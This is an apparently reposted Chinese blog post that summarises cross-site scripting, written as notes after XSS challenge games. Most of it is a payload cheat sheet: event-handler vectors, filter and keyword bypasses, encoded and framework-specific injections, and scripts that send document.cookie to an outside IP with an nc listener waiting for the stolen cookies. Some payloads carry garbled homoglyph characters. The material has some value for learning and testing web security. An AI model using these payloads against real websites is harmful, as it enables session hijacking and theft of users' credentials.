XSS漏洞详解 一文了解XSS漏洞和常见payload

前言

刷完了XSS challenge和XSS game
对XSS漏洞有了些许认识
在此做个小结与记录

1、什么是XSS

XSS(Cross Site Scripting),跨站脚本

  • 发生在用户端
  • 由于动态网页的Web应用对用户提交请求参数未做充分的检查过滤,允许用户在提交的数据中掺入HTML代码,然后未加编码地输出到第三方用户的浏览器
  • 这些攻击者恶意提交代码会被受害用户的浏览器解释执行。
  • 攻击目标是为了盗取客户端的cookie或者其他网站用于识别客户端身份的敏感信息
  • 获取到合法用户的信息后,攻击者甚至可以假冒最终用户与网站进行交互

危害

  • 挂马
  • 盗取用户Cookie。
  • DOS(拒绝服务)客户端浏览器。
  • 钓鱼攻击,高级的钓鱼技巧。
  • 删除目标文章、恶意篡改数据、嫁祸。
  • 劫持用户Web行为,甚至进一步渗透内网。
  • 爆发Web2.0蠕虫。
  • 蠕虫式的DDoS攻击。
  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

2、XSS的分类

XSS主要有三类:

  • 反射型XSS(非持久型)
  • 存储型XSS(持久型)
  • DOM XSS

反射型XSS

反射型XSS 是非持久性、参数型的跨站脚本
反射型XSS 的JS 代码在Web 应用的参数(变量)中

反射型XSS过程如下:

  • 攻击者给目标机发送包含恶意代码的数据包,如邮件、图像
  • 目标机点击后,将请求发送给服务器
  • 服务器没有过滤,原封不动的返回目标机
  • 实现注入

例如搜索框的反射型XSS
在搜索框中,提交PoC:

<script>alert(/xss/)</script>

点击搜索,即可触发反射型XSS
我们提交的poc 会出现在search.php 页面的keywords 参数中

常见payload

<script>alert('XSS')</script>
<a href='' οnclick=alert('xss')>type</a>
<img src=http://1.1.1.1/a.ipg οnerrοr=alert('xss')>
<script>window.location='http://1.1.1.1'</script>
<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>

存储型XSS

存储型XSS 是持久性跨站脚本
持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中

存储型XSS 通常发生在留言板等地方

  • 我们在留言板位置留言,将恶意代码写进数据库中,此时,我们只完成了第一步,将恶意代码写入数据库
  • 因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS
  • 此时,需要我们模拟网站后台管理员的身份,查看留言,出发XSS

例如用XSS.js窃取cookie
XSS.js内容如下

var img = new Image();
img.src = "http://192.168.1.1:88/cookies.php?cookie="+document.cookie; #这里是kali的IP

输入

<script src="http://1.1.1.1/XSS.js"></script> #1.1.1.1是肉鸡的IP

然后在kali里监听88端口就可以获取cookie

基于DOM的 XSS

DOM XSS 比较特殊
owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的
其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测

一套 JS 和其他语言可调用的标准的 API
在这里插入图片描述

例如

nc -nvlp 88 #在kali里监听88端口

输入

 <script>var img=document.createElement("img");img.src="http://10.10.10.131:88/log?"+escape(document.cookie);</script>

3、基于事件的XSS

标准HTML事件

在这里插入图片描述

<body onload=alert()>
 
<img src=x onerror=alert()>
 
<svg onload=alert()>
 
<body onpageshow=alert(1)>
 
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
 
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
 
<marquee onstart=alert(1)> (firefox only)
 
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
 
<input autofocus="" onfocus=alert(1)></input>
 
<details open ontoggle="alert()">  (chrome & opera only)

HTML事件

在这里插入图片描述

<video autoplay onloadstart="alert()" src=x></video>
 
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<video controls onloadstart="alert()"><source src=x></video>
 
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
 
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
 
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

CSS事件

<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

下面的例子使用的是style标签来为动画的开始和结束设置关键帧:

<style>@keyframes x {
     
     }</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
 
<p style="animation: x;" onanimationend="alert()">XSS</p>

4、标签-属性分隔符的使用

Firefox和Chrome中能够使用的有效分隔符:
在这里插入图片描述
原payload

<svg onload=alert(1)>

替换空格后

<svg/οnlοad=alert(1)><svg>
 
<svg
onload=alert(1)><svg> # newline char
 
<svg	onload=alert(1)><svg> # tab char
 
<svgοnlοad=alert(1)><svg> # new page char (0xc)

5、对JS框架的XSS

对JS框架

AngularJS

{
   
   {constructor.constructor('alert(1)')()}}

这个Payload适用于大多数场景。

Mavo

[self.alert(1)]

6、各种绕过

圆括号过滤

利用HTML解析器和JS语句:

<svg onload=alert`1`></svg>
 
<svg onload=alert&lpar;1&rpar;></svg>
 
<svg onload=alert&#x28;1&#x29></svg>
 
<svg onload=alert&#40;1&#41></svg>

限制字符集

某处白名单策略,只允许使用[]$='\()+这些字符以及数字0-9,连任意字母都不允许使用
甚至\和数字也白名单过滤了
可用以下这两个方法:

JSFuck

jjencode

关键词过滤

避免使用的关键词:

(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)  // Generated using parseInt("alert",30). Other bases also work

双重编码

在这里插入图片描述

尖括号引号过滤

unicode编码或16进制编码搞定<>"&

16进制编码   \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Unicode编码  \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
8进制    \\74img src=x οnerrοr=alert(document.domain)\\76

长度限制+过滤符号

过滤策略

  • 截取长度50的字符串
  • '"+-!\[]被替换为_
  • alert被替换为_

绕过方法

  • 定义匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过alert字符串的检测。
  • 利用数字和字符串之间的互相转换,来绕过针对alert的检测。
  • 在URL地址后面加上#${payload},然后通过location.hash.slice(1)来获取payload,也能做到绕过检测。
// 匿名函数
Function(/ALERT(1337)/.source.toLowerCase())()
// 数字转字符串,将30进制的数字8680439转换成字符串,就是alert
eval(8680439..toString(30))(1337)
// 在URL后面加上 #alert(1337)
eval(location.hash.slice(1))

打破html的注释

注入点在注释里
在这里插入图片描述
<!–是多行注释,所以换行的思路基本不可行

绕过方法

  • 因为HTML中没有嵌套注释的概念,所以可以用新的注释打破了旧的注释
  • 而因为浏览器不喜欢在意外发送时呈现php源代码,所以<php>它会变异成<!--php-->
  • 这种变异会产生新的注释,于是打破旧的注释
<?php><svg οnlοad=alert(1337)>
<?><svg onload=alert(1337)>
<?php><img%20src=x%20οnerrοr=alert(1337)>

7、大量payload

一些常见payload如下

特殊少见的payload

<svg><animate onbegin=alert() attributeName=x></svg>
 
<object data="data:text/html,<script>alert(5)</script>">
 
<iframe srcdoc="<svg οnlοad=alert(4);>">
 
<object data=javascript:alert(3)>
 
<iframe src=javascript:alert(2)>
 
<embed src=javascript:alert(1)>
 
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
 
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

结语

对XSS做了个归纳总结

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/109011046
今日推荐